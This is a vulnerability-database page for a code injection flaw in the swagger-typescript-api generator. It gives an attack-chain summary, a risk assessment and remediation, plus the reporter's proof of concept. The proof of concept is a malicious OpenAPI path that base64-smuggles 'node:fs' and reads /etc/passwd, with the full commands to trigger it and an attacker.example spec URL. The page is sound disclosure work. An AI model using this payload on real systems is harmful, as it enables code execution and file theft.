Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker publishes malicious OpenAPI spec with ${...} in a path key
-
DeliveryVictim runs swagger-typescript-api against the untrusted spec
-
ExploitGenerator emits path expression into template-literal method body
-
ExecutionVictim calls the affected generated client method
-
PersistIIFE executes as live JS in consumer process
-
ImpactArbitrary code runs with process privileges (file read/write, exfiltration)
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Input neutralization, injection prevention
|
| Exploitation Conditions | Exploitation requires (1) the attacker to control the OpenAPI spec consumed by the generator - a remote/attacker-hosted spec via sta generate --url, a third-party/vendor/partner spec regenerated in CI, a tenant-supplied spec in a multi-tenant platform, or a spec modifiable via pull request - and (2) the spec to contain a path key with a literal ${...} JavaScript expression that survives parseRouteName (payloads needing a colon, e.g. node:fs, must dodge the :x rewriter, as the PoC does with base64). Limiting factors: the victim must actually run the vulnerable generator (<= 13.12.1) AND then invoke the affected generated method for the injected code to fire (per-call execution, not module-load), matching the CVSS UI:R and AC:H metrics; specs that are fully authored in-house and never accept external path keys are not exposed. This is not a default-configuration, zero-interaction remote exploit - it is a supply-chain/untrusted-input condition specific to generating clients from specs you did not write. |
| Impact | The provided CVSS 3.1 vector (AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H, base 8.3 High) reflects a high-impact, scope-changing flaw that is gated by real preconditions: high attack complexity (a crafted payload must survive the {x}/:x rewriter - the PoC works around the : rewrite using base64 for 'node:fs') and required user interaction (the victim must run the generator against the malicious spec and then actually call the affected client method). No EPSS score and no KEV status were provided, so exploitation probability cannot be quantified and there is no evidence of active exploitation. The strongest counter-signal is that a working, end-to-end PoC exists, so the barrier to real-world abuse is low for supply-chain-style scenarios (third-party/remote specs, multi-tenant spec ingestion, CI regeneration from vendor specs). Net: a genuine, prioritize-for-patching issue for anyone generating clients from untrusted specs, but the AC:H and UI:R factors mean it is not a mass-exploitable, zero-interaction bug; the risk is concentrated in pipelines that treat OpenAPI specs as trusted input. |
| Exploit ScenarioDerived | An attacker publishes or serves a malicious OpenAPI spec whose path key embeds an IIFE such as /api/${(async()=>{...})()}/items. A developer or CI job runs swagger-typescript-api against that spec (e.g., sta generate --url https://attacker.example/openapi.json), producing a client that looks normal; the first time application code calls the generated method, the injected async expression executes with the process's privileges - reading /etc/passwd, exfiltrating secrets, or spawning child processes. A working self-contained PoC demonstrating this against 13.12.1 has been published, using base64 to smuggle 'node:fs' past the generator's colon rewriter. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 29, 2026
Code injection in swagger-typescript-api (npm) versions <= 13.12.1 allows an attacker who controls an OpenAPI specification to achieve arbitrary code execution in the environment that consumes the generated client. Because OpenAPI path keys are interpolated raw into a JavaScript template literal in every generated method, a path containing a ${...} expression becomes live JS that runs with full process privileges on each call to the affected method. Publicly available exploit code exists (detailed reproducer against 13.12.1 on Node v24), but there is no public evidence of active exploitation; the flaw is fixed in 13.12.2.
RemediationAI
Vendor-released patch: upgrade to swagger-typescript-api 13.12.2 or later, which escapes route paths for template-literal insertion while preserving legitimate ${paramName} interpolations for declared path parameters (see release https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2, fix PR https://github.com/acacode/swagger-typescript-api/pull/1779 and commit 306d59acb8ffbb00f953f807b97234b21f51d9de). If you cannot upgrade immediately, do not run the generator against OpenAPI specs you did not fully author: pin and review specs before generation, disable automatic client regeneration from remote/vendor/tenant-supplied specs in CI, and manually inspect generated method bodies for stray backticks or ${ sequences in path: ... lines before compiling or shipping the client. As a defensive control on the spec itself, reject or sanitize any path key containing a backtick, ${, or backslash prior to generation; the trade-off is that legitimate but unusual path keys would be blocked, which is acceptable since valid REST paths do not contain those characters.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
swagger-typescript-api is a Node.js code generator that turns an OpenAPI/Swagger spec into a TypeScript HTTP client (fetch or axios, default or modular template sets). The root cause is CWE-94 / CWE-1336 template-engine injection: parseRouteName (src/schema-routes/schema-routes.ts:147-189) rewrites {x} and :x path parameters into ${x} template-literal interpolations using a regex that matches only word characters, so it never strips backticks, ${, or backslashes already present in a path key. The unsanitized route is then emitted through Eta's raw interpolation (<%~ path %>) inside a backtick literal at templates/default/procedure-call.ejs:96 and templates/modular/procedure-call.ejs:96, so any ${...} in the source spec path is compiled into an executable JS expression in the generated method body. The affected package is identified by CPE pkg:npm/swagger-typescript-api. This CVE is one of several path/enum/baseUrl injection and $ref SSRF issues fixed in the same release.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
Spec is delivered over network (AV:N) with no attacker privileges (PR:N); payload must survive the route rewriter and the victim must run the generator and call the method (AC:H, UI:R); injected code escapes the generator into the consumer process (S:C) with full read/write/execute (C/I/A:H).
Primary rating from Vendor (https://github.com/acacode/swagger-typescript-api).
CVSS VectorVendor: https://github.com/acacode/swagger-typescript-api
DescriptionCVE.org
Summary
swagger-typescript-api interpolates OpenAPI path strings (the keys of the paths object, e.g. /users/{id}) directly into a JavaScript template literal inside the body of every generated API method, without escaping. A spec path containing ${ … } survives parseRouteName's {x} / :x rewriter verbatim and lands as live JS-template-literal interpolation inside the generated path: \...\`` line. Any consumer who calls the affected generated method evaluates the attacker's expression with full importer privileges - file read/write, exfiltration, etc. The attacker controls the OpenAPI spec (remote URL, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and uses the resulting client.
Details
parseRouteName (src/schema-routes/schema-routes.ts:147-189) preprocesses spec paths by rewriting {x} and :x path-parameter patterns into ${x} JS template-literal interpolations:
const pathParamMatches = (routeName || "").match(
/({[\w[\\\]^`][-_.\w]*})|(:[\w[\\\]^`][-_.\w]*:?)/g,
);
// ...
return fixedRoute.replace(pathParam.$match, `\${${insertion}}`);The regex only matches { followed by word characters (and a closing }), or : followed by word characters. It does not strip backticks, ${, or backslashes. A spec path containing ${ ATTACKER_EXPRESSION } survives unchanged.
The resulting fixedRoute is passed to the procedure-call template at templates/default/procedure-call.ejs:96 (and the corresponding templates/modular/procedure-call.ejs:96):
path: `<%~ path %>`,The <%~ %> is Eta's raw, unescaped interpolation. The surrounding backticks make this a JavaScript template literal in the generated source. Anything resembling ${…} inside the path becomes a live JS expression evaluated when the method's path template is evaluated - i.e. at every call to the affected method.
Generated method body for a malicious spec path:
evilCall: (params: RequestParams = {}) =>
this.request<void, any>({
path: `/api/${(async () => {
// ATTACKER CODE EVALUATED HERE on every call to api.<...>.evilCall()
// - full Node.js capabilities: dynamic import('node:fs'), child_process,
// network egress, environment access, etc.
})()}/items`,
method: "GET",
...params,
}),Biome (the codebase's formatter) pretty-prints this multi-line, confirming the output parses as valid TypeScript. esbuild bundles it cleanly.
Caveat for PoC construction: the path-param regex matches :x, so a literal : followed by a word character inside the spec path gets mangled into ${x}. This affects payloads that need to express node:fs. The workaround used in the PoC is Buffer.from('bm9kZTpmcw==','base64').toString() - base64 contains no :, decodes to 'node:fs' at runtime, and dodges the rewrite entirely.
PoC
Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → instantiate → call method with stubbed this.request so there is no real network egress → check canary) is added in comments. Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.
Malicious OpenAPI path (literal string, JSON-encoded in the spec below):
/api/${(async()=>{ try { const m=Buffer.from('bm9kZTpmcw==','base64').toString(); const f=await import(m); const d=f.readFileSync('/etc/passwd','utf8'); f.writeFileSync('/tmp/sta_canary',d); } catch(e){} return 'x'; })()}/itemsMinimal payload spec:
{
"openapi": "3.0.0",
"info": { "title": "PathPayloadAPI", "version": "1.0.0" },
"servers": [{ "url": "https://api.example.com" }],
"paths": {
"/api/${(async()=>{try{const m=Buffer.from('bm9kZTpmcw==','base64').toString();const f=await import(m);const d=f.readFileSync('/etc/passwd','utf8');f.writeFileSync('/tmp/sta_canary',d);}catch(e){}return 'x';})()}/items": {
"get": {
"operationId": "evilCall",
"responses": { "200": { "description": "OK" } }
}
}
}
}Steps:
npm install swagger-typescript-api@13.12.1 esbuild
node -e "import('swagger-typescript-api').then(m => m.generateApi({
name: 'Api.ts', output: process.cwd() + '/out',
input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
--tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "
const mod = await import('./out/Api.bundle.mjs');
const api = new mod.Api();
// Stub the request implementation so there is no real network call -
// only the path template literal is evaluated, which is what fires the IIFE.
api.request = async () => ({ ok: true });
const group = api.api;
await group[Object.keys(group)[0]]();
await new Promise(r => setTimeout(r, 300));
"
ls -la /tmp/sta_canary && cat /tmp/sta_canaryGenerated out/Api.ts (method body - payload, Biome-formatted):
evilCall: (params: RequestParams = {}) =>
this.request<void, any>({
path: `/api/${(async () => {
try {
const m = Buffer.from("bm9kZTpmcw==", "base64").toString();
const f = await import(m);
const d = f.readFileSync("/etc/passwd", "utf8");
f.writeFileSync("/tmp/sta_canary", d);
} catch (e) {}
return "x";
})()}/items`,
method: "GET",
...params,
}),The IIFE is a real JavaScript expression inside the path template literal - Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed.
Result: after instantiating the generated Api and calling the affected method, /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec (path "/api/users/{id}/items") generates path: \/api/users/${id}/items\``, the IIFE never appears, and the canary is not written.
Impact
Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).
Affected use cases: any developer or pipeline that runs swagger-typescript-api against an OpenAPI spec they did not author entirely:
sta generate --url https://attacker.example/openapi.json- a public, third-party, or attacker-hosted spec.- A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.
- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
- Any project where a contributor can modify the pinned spec via pull request.
Lifecycle: the injected expression fires per method call - every time a consumer invokes the affected generated method, the path template literal is evaluated and the IIFE runs. Lower severity than module-load sinks because the consumer must actually use the affected method, but this is the entire purpose of a generated API client; any non-trivial use of the client triggers it. Affects both httpClientType: "fetch" (default) and httpClientType: "axios", both default/ and modular/ template sets - any path-bearing operation in the spec is a candidate.
Privilege: the IIFE runs with the full privileges of the calling process - file read/write, network egress, environment access, child-process spawn, etc.
Suggested fix: sanitize the path string after parseRouteName finishes its {x} / :x rewrites but before it is interpolated into the template literal. The path should only contain literal URL characters plus the ${name} interpolations that parseRouteName deliberately introduces - any backtick, ${, or \ outside those deliberate interpolations should be escaped or rejected. Alternatively, change templates/default/procedure-call.ejs:96 (and templates/modular/procedure-call.ejs:96) to stop wrapping path in a backtick literal: emit a string concatenation instead, where path-param substitution is explicit and the rest of the path is treated as inert string data.
Submitted by: Hamza Haroon (thegr1ffyn)
Articles & Coverage 1
Latest POC
1 PoC candidate from github (unverified)
Sign in to open the public PoC links collected for this CVE.
Executive ViewAI
The swagger-typescript-api npm package contains a code injection vulnerability (CVE-2026-54666) affecting versions 13.12.1 and earlier that permits arbitrary code execution when consuming an attacker-controlled OpenAPI specification. Organizations using this library face supply-chain compromise risk if they reference malicious or compromised OpenAPI specifications in their development or deployment pipelines. Patching to version 13.12.2 is required to eliminate this attack vector.
Apply vendor patch to version 13.12.2. Interim: Restrict OpenAPI specification consumption to internally-maintained, version-controlled repositories; disable automatic or dynamic specification fetching; audit all currently-used OpenAPI specifications for suspicious template expressions in path definitions.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
EUVD-2026-50367
GHSA-w284-33mx-6g9v
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB